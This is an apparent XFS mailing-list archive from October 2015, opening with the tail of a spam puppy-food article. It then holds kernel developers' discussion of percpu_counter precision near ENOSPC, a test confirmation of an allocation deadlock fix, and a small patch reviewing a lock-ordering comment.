adulthood. Just like a new baby, their formula and proper administration of vitamins, minerals and nutrients, catapults a baby into a healthy adult. An adult with all the antibody's and necessary good things it needs to resist illnesses. Well, your puppy deserves the same treatment. A diet that has been specifically formulated to meet the needs of a puppy, as compared to an adult dog are higher in fat and protein. A puppy's life stage requires more protein and fats than does an adult dog, mainly, due to their overall energy and the fact that they grow so quickly. They need a puppy food that can fuel these needs while providing the proper nourishment as their digestive system breaks down their food very quickly. They have less time to fully absorb the nutrients through the normal process of digestion. This means that you have to become an earnest and knowledgeable label reader, carefully examining the ingredients used in the puppy food you may be considering. You must now be wondering how you are going to accomplish what seems to be a Herculean task, especially when you browse the isle at your super market or pet store. Just how will you know what the right ingredients are, and how valuable or harmful will they be to your puppy? The answer to this question is much easier to get than you think it is. Arm yourself with the proper guides and then take the time to read the ingredients listed on the label. Your task will be an easy one once you know what to avoid, and what your puppy really needs. As a rule of thumb, after ruling out the bad ingredients, all you have to do is find the proper balance in percentages, of protein, fat, and carbohydrates. Again, ruling out the bad ingredients is very, very easy. There are many articles available to demonstrate what to avoid. As good practice goes, find a food that has no more than 25% protein, and that the protein is easily digestible. When you read the list of ingredients, you will see which are the good protein sources, and which are the cheap and harmful bone meals offered by so many of the puppy food manufacturers of today. Also, remember to avoid fillers. They are just that, fillers, and are a waste of money and a non nutritional source for your puppy. In some cases, fillers may even cause gastric and digestive problems in your puppy. Look for products that meet the minimum necessary ingredients that your puppy needs. This would be a line of dog food that offers a wide variety of all natural, organic, raw dog meals all blended into a very healthy and nutritious diet. Would you eat food that was not of high quality and nutrition, of course not? So don't give your puppy this kind of food. Instead, the brands that manufacturer the kinds of products mentioned in this paragraph, usually follow a human grade and quality standards of care and processing. In short, they care as much for your pets welfare as you do. Well, almost. Remember to tailor, your puppy's life stages to its food. Their needs constantly change as they progress closer and closer to adulthood. A good meal, consists of carbohydrate's, vegetables, fruits and chicken and turkey free of grains. These are the kinds of diets that are highly recommended by veterinarians, and is what they generally feed their puppies. You will also find that a gluten free meal works very well for a puppy with a sensitive stomach. Again, remember to avoid the highly advertised and highly promoted commercial dog foods, unless, you have diligently checked the ingredients being used. If they are very low on nutrition and quality ingredients, then avoid these manufacturers as they are only interested in high company profits, and not the welfare of your dog. Don't despair, the task before you is really quite a simple one indeed. If you are armed with the free tools at my site, then trust me, your job will be a very easy one. I hope the information contained in this article, has been informational, meaningful, and helpful to you. It is my design, that you use this article in any way that you feel will benefit you. I only ask, that you don't plagiarize its content, and that you keep the author box and back link in tact. --077b84ff5ddfc4c73181126930a30e Content-Type: text/html;

to unsubscribe go here








Dog Food For Puppies-What Do They Need And Why A healthy and nutritious dog food for your puppy is more critical than an adult dog food is for an adult. A puppy's development and overall longevity is dependent on the proper balance of protein, fat and carbohydrates your dog is fed. Hopefully this article will be of great interest to you. We sincerely hope the following will be a great and simple aid to you in selecting the right dog food for your puppy. Why is it so essential that your puppy be fed such a food? Because when they are a puppy, it is mandatory that they get the nourishment and necessary vitamins, minerals and wholesome ingredients, during their process of maturing into adulthood. Their beginning years are formidable as they transcend into adulthood. Just like a new baby, their formula and proper administration of vitamins, minerals and nutrients, catapults a baby into a healthy adult. An adult with all the antibody's and necessary good things it needs to resist illnesses. Well, your puppy deserves the same treatment. A diet that has been specifically formulated to meet the needs of a puppy, as compared to an adult dog are higher in fat and protein. A puppy's life stage requires more protein and fats than does an adult dog, mainly, due to their overall energy and the fact that they grow so quickly. They need a puppy food that can fuel these needs while providing the proper nourishment as their digestive system breaks down their food very quickly. They have less time to fully absorb the nutrients through the normal process of digestion. This means that you have to become an earnest and knowledgeable label reader, carefully examining the ingredients used in the puppy food you may be considering. You must now be wondering how you are going to accomplish what seems to be a Herculean task, especially when you browse the isle at your super market or pet store. Just how will you know what the right ingredients are, and how valuable or harmful will they be to your puppy? The answer to this question is much easier to get than you think it is. Arm yourself with the proper guides and then take the time to read the ingredients listed on the label. Your task will be an easy one once you know what to avoid, and what your puppy really needs. As a rule of thumb, after ruling out the bad ingredients, all you have to do is find the proper balance in percentages, of protein, fat, and carbohydrates. Again, ruling out the bad ingredients is very, very easy. There are many articles available to demonstrate what to avoid. As good practice goes, find a food that has no more than 25% protein, and that the protein is easily digestible. When you read the list of ingredients, you will see which are the good protein sources, and which are the cheap and harmful bone meals offered by so many of the puppy food manufacturers of today. Also, remember to avoid fillers. They are just that, fillers, and are a waste of money and a non nutritional source for your puppy. In some cases, fillers may even cause gastric and digestive problems in your puppy. Look for products that meet the minimum necessary ingredients that your puppy needs. This would be a line of dog food that offers a wide variety of all natural, organic, raw dog meals all blended into a very healthy and nutritious diet. Would you eat food that was not of high quality and nutrition, of course not? So don't give your puppy this kind of food. Instead, the brands that manufacturer the kinds of products mentioned in this paragraph, usually follow a human grade and quality standards of care and processing. In short, they care as much for your pets welfare as you do. Well, almost. Remember to tailor, your puppy's life stages to its food. Their needs constantly change as they progress closer and closer to adulthood. A good meal, consists of carbohydrate's, vegetables, fruits and chicken and turkey free of grains. These are the kinds of diets that are highly recommended by veterinarians, and is what they generally feed their puppies. You will also find that a gluten free meal works very well for a puppy with a sensitive stomach. Again, remember to avoid the highly advertised and highly promoted commercial dog foods, unless, you have diligently checked the ingredients being used. If they are very low on nutrition and quality ingredients, then avoid these manufacturers as they are only interested in high company profits, and not the welfare of your dog. Don't despair, the task before you is really quite a simple one indeed. If you are armed with the free tools at my site, then trust me, your job will be a very easy one. I hope the information contained in this article, has been informational, meaningful, and helpful to you. It is my design, that you use this article in any way that you feel will benefit you. I only ask, that you don't plagiarize its content, and that you keep the author box and back link in tact. --077b84ff5ddfc4c73181126930a30e-- From waiman.long@hpe.com Thu Oct 8 11:01:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1D9317F37 for ; Thu, 8 Oct 2015 11:01:24 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0FC67304039 for ; Thu, 8 Oct 2015 09:01:21 -0700 (PDT) X-ASG-Debug-ID: 1444320078-04cbb03f12417f0001-NocioJ Received: from g2t4622.austin.hp.com (g2t4622.austin.hp.com [15.73.212.79]) by cuda.sgi.com with ESMTP id v6x6BPxQ0zj2yrny (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 08 Oct 2015 09:01:19 -0700 (PDT) X-Barracuda-Envelope-From: waiman.long@hpe.com X-Barracuda-Apparent-Source-IP: 15.73.212.79 Received: from g1t6215.austin.hpicorp.net (g1t6215.austin.hpicorp.net [15.67.1.191]) by g2t4622.austin.hp.com (Postfix) with ESMTP id 88E431AA; Thu, 8 Oct 2015 16:01:18 +0000 (UTC) Received: from [192.168.142.201] (unknown [16.214.201.61]) by g1t6215.austin.hpicorp.net (Postfix) with ESMTP id A479A87; Thu, 8 Oct 2015 16:01:17 +0000 (UTC) Message-ID: <5616934C.5000206@hpe.com> Date: Thu, 08 Oct 2015 12:01:16 -0400 From: Waiman Long User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.12) Gecko/20130109 Thunderbird/10.0.12 MIME-Version: 1.0 To: Dave Chinner CC: Tejun Heo , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() References: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> <20151002221649.GL27164@dastard> <5613017D.7080909@hpe.com> <20151006002538.GO27164@dastard> <561405E1.8020008@hpe.com> <20151006213023.GP27164@dastard> <561579EA.60507@hpe.com> <20151007230441.GG32150@dastard> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() In-Reply-To: <20151007230441.GG32150@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: g2t4622.austin.hp.com[15.73.212.79] X-Barracuda-Start-Time: 1444320079 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23306 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/07/2015 07:04 PM, Dave Chinner wrote: > On Wed, Oct 07, 2015 at 04:00:42PM -0400, Waiman Long wrote: >> On 10/06/2015 05:30 PM, Dave Chinner wrote: >>>>> /* >>>>> * Aggregate the per-cpu counter magazines back into the global >>>>> * counter. This avoids the need for repeated compare operations to >>>>> * run the slow path when the majority of the counter value is held >>>>> * in the per-cpu magazines. Folding them back into the global >>>>> * counter means we will continue to hit the fast >>>>> * percpu_counter_read() path until the counter value falls >>>>> * completely within the comparison limit passed to >>>>> * __percpu_counter_compare(). >>>>> */ >>>>> static s64 percpu_counter_aggregate(struct percpu_counter *fbc) >>>>> { >>>>> s64 ret; >>>>> int cpu; >>>>> unsigned long flags; >>>>> >>>>> raw_spin_lock_irqsave(&fbc->lock, flags); >>>>> ret = fbc->count; >>>>> for_each_online_cpu(cpu) { >>>>> s32 count = __this_cpu_read(*fbc->counters); >>>>> ret += count; >>>>> __this_cpu_sub(*fbc->counters, count) >>>>> } >>>>> fbc->count = ret; >>>>> raw_spin_unlock_irqrestore(&fbc->lock, flags); >>>>> return ret; >>>>> } >>>> I don't think that will work as some other CPUs may change the >>>> percpu counters values between percpu_counter_aggregate() and >>>> __percpu_counter_compare(). To be safe, the precise counter has to >>>> be compted whenever the comparison value difference is less than >>>> nr_cpus * batch size. >>> Well, yes. Why do you think the above function does the same >>> function as percpu_counter_sum()? So that the percpu_counter_sum() >>> call *inside* __percpu_counter_compare() can be replaced by this >>> call. i.e. >>> >>> return -1; >>> } >>> /* Need to use precise count */ >>> - count = percpu_counter_sum(fbc); >>> + count = percpu_counter_aggregate(fbc); >>> if (count> rhs) >>> return 1; >>> else if (count< rhs) >>> >>> Please think about what I'm saying rather than dismissing it without >>> first understanding my suggestions. >> I understood what you were saying. However, the per-cpu counter >> isn't protected by the spinlock. Reading it is OK, but writing may >> cause race if that counter is modified by a CPU other than its >> owning CPU. > > > You're still trying to pick apart the code without considering what > we need to acheive. We don't need to the code to be bullet proof to > test whether this hypothesis is correct or not - we just need > something that is "near-enough" to give us the data point to tell us > where we should focus our efforts. If optimising the counter like > above does not reduce the overhead, then we may have to change XFS. > If it does reduce the overhead, then the XFS code remains unchanged > and we focus on optimising the counter code. What determine if a precise sum is to be computed is the following code: if (abs(count - rhs) > (batch * num_online_cpus())) { So even if we make the global count more accurate using percpu_counter_aggregate(), it won't have too much effect in reducing the chance where the precise count needs to be calculated. That is why I don't bother testing it with the modified code. Cheers, Longman From waiman.long@hpe.com Thu Oct 8 11:06:52 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 120977F3F for ; Thu, 8 Oct 2015 11:06:52 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 018C5304039 for ; Thu, 8 Oct 2015 09:06:51 -0700 (PDT) X-ASG-Debug-ID: 1444320409-04cb6c578a3f870001-NocioJ Received: from g1t6220.austin.hp.com (g1t6220.austin.hp.com [15.73.96.84]) by cuda.sgi.com with ESMTP id Cf5LnYTfUHHxohAR (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 08 Oct 2015 09:06:50 -0700 (PDT) X-Barracuda-Envelope-From: waiman.long@hpe.com X-Barracuda-Apparent-Source-IP: 15.73.96.84 Received: from g1t6217.austin.hpicorp.net (g1t6217.austin.hpicorp.net [15.67.1.144]) by g1t6220.austin.hp.com (Postfix) with ESMTP id 97CF21F1; Thu, 8 Oct 2015 16:06:49 +0000 (UTC) Received: from [192.168.142.201] (unknown [16.214.201.61]) by g1t6217.austin.hpicorp.net (Postfix) with ESMTP id C8E40A1; Thu, 8 Oct 2015 16:06:48 +0000 (UTC) Message-ID: <5616948C.5000401@hpe.com> Date: Thu, 08 Oct 2015 12:06:36 -0400 From: Waiman Long User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.12) Gecko/20130109 Thunderbird/10.0.12 MIME-Version: 1.0 To: Dave Chinner CC: Tejun Heo , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() References: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> <20151002221649.GL27164@dastard> <5613017D.7080909@hpe.com> <20151006002538.GO27164@dastard> <561405E1.8020008@hpe.com> <20151006213023.GP27164@dastard> <561579EA.60507@hpe.com> <20151007230441.GG32150@dastard> <20151007232010.GA21142@mtj.duckdns.org> <20151008010218.GT27164@dastard> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() In-Reply-To: <20151008010218.GT27164@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: g1t6220.austin.hp.com[15.73.96.84] X-Barracuda-Start-Time: 1444320410 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23306 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/07/2015 09:02 PM, Dave Chinner wrote: > On Wed, Oct 07, 2015 at 04:20:10PM -0700, Tejun Heo wrote: >> Hello, Dave. >> >> On Thu, Oct 08, 2015 at 10:04:42AM +1100, Dave Chinner wrote: >> ... >>> As it is, the update race you pointed out is easy to solve with >>> __this_cpu_cmpxchg rather than _this_cpu_sub (similar to mod_state() >>> in the MM percpu counter stats code, perhaps). >> percpu cmpxchg is no different from sub or any other operations >> regarding cross-CPU synchronization. They're safe iff the operations >> are on the local CPU. They have to be made atomics if they need to be >> manipulated from remote CPUs. > Again, another trivially solvable problem, but still irrelevant > because we don't have the data that tells us whether changing the > counter behaviour solves the problem.... > >> That said, while we can't manipulate the percpu counters directly, we >> can add a separate global counter to cache sum result from the >> previous run which gets automatically invalidated when any percpu >> counter overflows. >> >> That should give better and in case of >> back-to-back invocations pretty good precision compared to just >> returning the global overflow counter. Interface-wise, that'd be a >> lot easier to deal with although I have no idea whether it'd fit this >> particular use case or whether this use case even exists. > No, it doesn't help - it's effectively what Waiman's original patch > did by returning the count from the initial comparison and using > that for ENOSPC detection instead of doing a second comparison... > > FWIW, XFS has done an expensive per-cpu counter sum in this ENOSPC > situation since 2006, but in 2007 ENOSPC was wrapped in a mutex to > prevent spinlock contention on the aggregated global counter: > > commit 20b642858b6bb413976ff13ae6a35cc596967bab > Author: David Chinner > Date: Sat Feb 10 18:35:09 2007 +1100 > > [XFS] Reduction global superblock lock contention near ENOSPC. > > The existing per-cpu superblock counter code uses the global superblock > spin lock when we approach ENOSPC for global synchronisation. On larger > machines than this code was originally tested on this can still get > catastrophic spinlock contention due increasing rebalance frequency near > ENOSPC. > > By introducing a sleeping lock that is used to serialise balances and > modifications near ENOSPC we prevent contention from needlessly from > wasting the CPU time of potentially hundreds of CPUs. > > To reduce the number of balances occuring, we separate the need rebalance > case from the slow allocate case. Now, a counter running dry will trigger > a rebalance during which counters are disabled. Any thread that sees a > disabled counter enters a different path where it waits on the new mutex. > When it gets the new mutex, it checks if the counter is disabled. If the > counter is disabled, then we _know_ that we have to use the global counter > and lock and it is safe to do so immediately. Otherwise, we drop the mutex > and go back to trying the per-cpu counters which we know were re-enabled. > > SGI-PV: 952227 > SGI-Modid: xfs-linux-melb:xfs-kern:27612a > > Signed-off-by: David Chinner > Signed-off-by: Lachlan McIlroy > Signed-off-by: Tim Shimmin > > This is effectively the same symptoms that what we are seeing with > the new "lockless" generic percpu counteri algorithm, which is why > I'm trying to find out if it an issue with the counter > implementation before I do anything else... > > FWIW, the first comparison doesn't need to be that precise as it > just changes the batch passed to percpu_counter_add() to get the > value folded back into the global counter immediately near ENOSPC. > This is done so percpu_counter_read() becomes more accurate as > ENOSPC is approached as that is used for monitoring and reporting > (e.g. via vfsstat). If we want to avoid a counter sum, then this > is the comparison we will need to modify in XFS. That is what I have advocated in the in the inlined patch that I sent you in a previous mail. That patch modified the first comparison, but leave the 2nd comparison intact. We will still see bad performance near ENOSPC, but it will be better than before. > However, the second comparison needs to be precise as that's the one > that does the ENOSPC detection. That sum needs to be done after the > counter add that "uses" the space and so there is no avoiding having > an expensive counter sum as we near ENOSPC.... > > Cheers, > > Dave. Cheers, Longman From ross.zwisler@linux.intel.com Thu Oct 8 16:38:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6C2AF7F37 for ; Thu, 8 Oct 2015 16:38:22 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 092C8AC001 for ; Thu, 8 Oct 2015 14:38:18 -0700 (PDT) X-ASG-Debug-ID: 1444340296-04cb6c578548240001-NocioJ Received: from mga11.intel.com ([192.55.52.93]) by cuda.sgi.com with ESMTP id 9wwyrnX0zUKwBo6X for ; Thu, 08 Oct 2015 14:38:17 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 192.55.52.93 X-ASG-Whitelist: EmailCat (corporate) Received: from orsmga002.jf.intel.com ([10.7.209.21]) by fmsmga102.fm.intel.com with ESMTP; 08 Oct 2015 14:38:16 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,655,1437462000"; d="scan'208";a="822510155" Received: from theros.lm.intel.com (HELO linux.intel.com) ([10.232.112.146]) by orsmga002.jf.intel.com with ESMTP; 08 Oct 2015 14:38:16 -0700 Date: Thu, 8 Oct 2015 15:38:15 -0600 From: Ross Zwisler To: Brian Foster Cc: xfs@oss.sgi.com, Ross Zwisler Subject: Re: [PATCH] xfs: pass total block res. as total xfs_bmapi_write() parameter Message-ID: <20151008213815.GA1108@linux.intel.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: pass total block res. as total xfs_bmapi_write() parameter References: <1444233538-52658-1-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1444233538-52658-1-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Barracuda-Connect: UNKNOWN[192.55.52.93] X-Barracuda-Start-Time: 1444340296 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, Oct 07, 2015 at 11:58:58AM -0400, Brian Foster wrote: > The total field from struct xfs_alloc_arg is a bit of an unknown > commodity. It is documented as the total block requirement for the > transaction and is used in this manner from most call sites by virtue of > passing the total block reservation of the transaction associated with > an allocation. Several xfs_bmapi_write() callers pass hardcoded values > of 0 or 1 for the total block requirement, which is a historical oddity > without any clear reasoning. > > The xfs_iomap_write_direct() caller, for example, passes 0 for the total > block requirement. This has been determined to cause problems in the > form of ABBA deadlocks of AGF buffers due to incorrect AG selection in > the block allocator. Specifically, the xfs_alloc_space_available() > function incorrectly selects an AG that doesn't actually have sufficient > space for the allocation. This occurs because the args.total field is 0 > and thus the remaining free space check on the AG doesn't actually > consider the size of the allocation request. This locks the AGF buffer, > the allocation attempt proceeds and ultimately fails (in > xfs_alloc_fix_minleft()), and xfs_alloc_vexent() moves on to the next > AG. In turn, this can lead to incorrect AG locking order (if the > allocator wraps around, attempting to lock AG 0 after acquiring AG N) > and thus deadlock if racing with another operation. This problem has > been reproduced via generic/299 on smallish (1GB) ramdisk test devices. > > To avoid this problem, replace the undocumented hardcoded total > parameters from the iomap and utility callers to pass the block > reservation used for the associated transaction. This is consistent with > other xfs_bmapi_write() callers throughout XFS. The assumption is that > the total field allows the selection of an AG that can handle the entire > operation rather than simply the allocation/range being requested (e.g., > resulting btree splits, etc.). This addresses the aforementioned > generic/299 hang by ensuring AG selection only occurs when the > allocation can be satisfied by the AG. > > Reported-by: Ross Zwisler > Signed-off-by: Brian Foster Verified that this solves the hang in my test setup. Tested-by: Ross Zwisler From ross.zwisler@linux.intel.com Thu Oct 8 16:58:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B6CEB7F37 for ; Thu, 8 Oct 2015 16:58:12 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3B60EAC00E for ; Thu, 8 Oct 2015 14:58:12 -0700 (PDT) X-ASG-Debug-ID: 1444341489-04cb6c578b48a90001-NocioJ Received: from mga11.intel.com ([192.55.52.93]) by cuda.sgi.com with ESMTP id 7ZqoXFZ3Lto8jVig for ; Thu, 08 Oct 2015 14:58:10 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 192.55.52.93 X-ASG-Whitelist: EmailCat (corporate) Received: from orsmga002.jf.intel.com ([10.7.209.21]) by fmsmga102.fm.intel.com with ESMTP; 08 Oct 2015 14:58:04 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,656,1437462000"; d="scan'208";a="822520518" Received: from theros.lm.intel.com ([10.232.112.146]) by orsmga002.jf.intel.com with ESMTP; 08 Oct 2015 14:58:05 -0700 From: Ross Zwisler To: linux-kernel@vger.kernel.org Cc: Ross Zwisler , Dave Chinner , xfs@oss.sgi.com Subject: [PATCH] xfs: clarify lock ordering comment Date: Thu, 8 Oct 2015 15:58:01 -0600 X-ASG-Orig-Subj: [PATCH] xfs: clarify lock ordering comment Message-Id: <1444341481-14139-1-git-send-email-ross.zwisler@linux.intel.com> X-Mailer: git-send-email 2.1.0 X-Barracuda-Connect: UNKNOWN[192.55.52.93] X-Barracuda-Start-Time: 1444341489 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Replace "i_mmap_lock" with "mmap_lock" in the lock ordering comment above xfs_filemap_page_mkwrite(). The lock in question is actually the XFS_MMAPLOCK_SHARED rw_semaphore (no leading "i"), and this comment is easily confused with the "i_mmap_lock_[read|write]" functions that operate on struct address_space->i_mmap_rwsem. This clarification is especially important because address_space->i_mmap_rwsem is taken down in the DAX code as part of this fault path. Signed-off-by: Ross Zwisler --- fs/xfs/xfs_file.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index f429662..b190033 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -1477,7 +1477,7 @@ xfs_file_llseek( * * mmap_sem (MM) * sb_start_pagefault(vfs, freeze) - * i_mmap_lock (XFS - truncate serialisation) + * mmap_lock (XFS - truncate serialisation) * page_lock (MM) * i_lock (XFS - extent map serialisation) */ -- 2.1.0 From david@fromorbit.com Thu Oct 8 17:24:55 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 570CA7F37 for ; Thu, 8 Oct 2015 17:24:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id CFD5AAC007 for ; Thu, 8 Oct 2015 15:24:54 -0700 (PDT) X-ASG-Debug-ID: 1444343092-04bdf020da4d900001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id D4uS7HYy5U0nU1SU for ; Thu, 08 Oct 2015 15:24:52 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DzCwDK7BZWPCSkLHlegyeBQoZbohYGixmFGoYKgxOCCnkCAgEBAoFWTQEBAQEBAQcBAQEBQT+EJgEBAQMBJxMcIwULCAMYCSUPBSUDBxoTiCYHw1ABAQEHAgEfGYYThUWEKGUHhC4BBJYKjRCBYIdekkSEeSozAYYggUkBAQE Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail06.adl6.internode.on.net with ESMTP; 09 Oct 2015 08:54:51 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZkJcI-00081n-OK; Fri, 09 Oct 2015 09:24:50 +1100 Date: Fri, 9 Oct 2015 09:24:50 +1100 From: Dave Chinner To: Ross Zwisler Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfs: clarify lock ordering comment Message-ID: <20151008222450.GH32150@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: clarify lock ordering comment References: <1444341481-14139-1-git-send-email-ross.zwisler@linux.intel.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1444341481-14139-1-git-send-email-ross.zwisler@linux.intel.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1444343092 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23318 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Oct 08, 2015 at 03:58:01PM -0600, Ross Zwisler wrote: > Replace "i_mmap_lock" with "mmap_lock" in the lock ordering comment above > xfs_filemap_page_mkwrite(). The lock in question is actually the > XFS_MMAPLOCK_SHARED rw_semaphore (no leading "i"), and this comment is struct xfs_inode { .... mrlock_t i_mmaplock; /* inode mmap IO lock */ .... > easily confused with the "i_mmap_lock_[read|write]" functions that operate > on struct address_space->i_mmap_rwsem. This clarification is especially > important because address_space->i_mmap_rwsem is taken down in the DAX > code as part of this fault path. > > Signed-off-by: Ross Zwisler > --- > fs/xfs/xfs_file.c | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c > index f429662..b190033 100644 > --- a/fs/xfs/xfs_file.c > +++ b/fs/xfs/xfs_file.c > @@ -1477,7 +1477,7 @@ xfs_file_llseek( > * > * mmap_sem (MM) > * sb_start_pagefault(vfs, freeze) > - * i_mmap_lock (XFS - truncate serialisation) > + * mmap_lock (XFS - truncate serialisation) As per above, the XFS lock is "i_mmaplock"... The lock names are annotated with the subsystem the lock belongs to to avoid this confusion. Along with the lock ordering (inside sb_start_pagefault) this should indicate that it's not the "i_mmap_lock (MM - vma serialisation)" lock... ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From ross.zwisler@linux.intel.com Thu Oct 8 18:02:55 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: 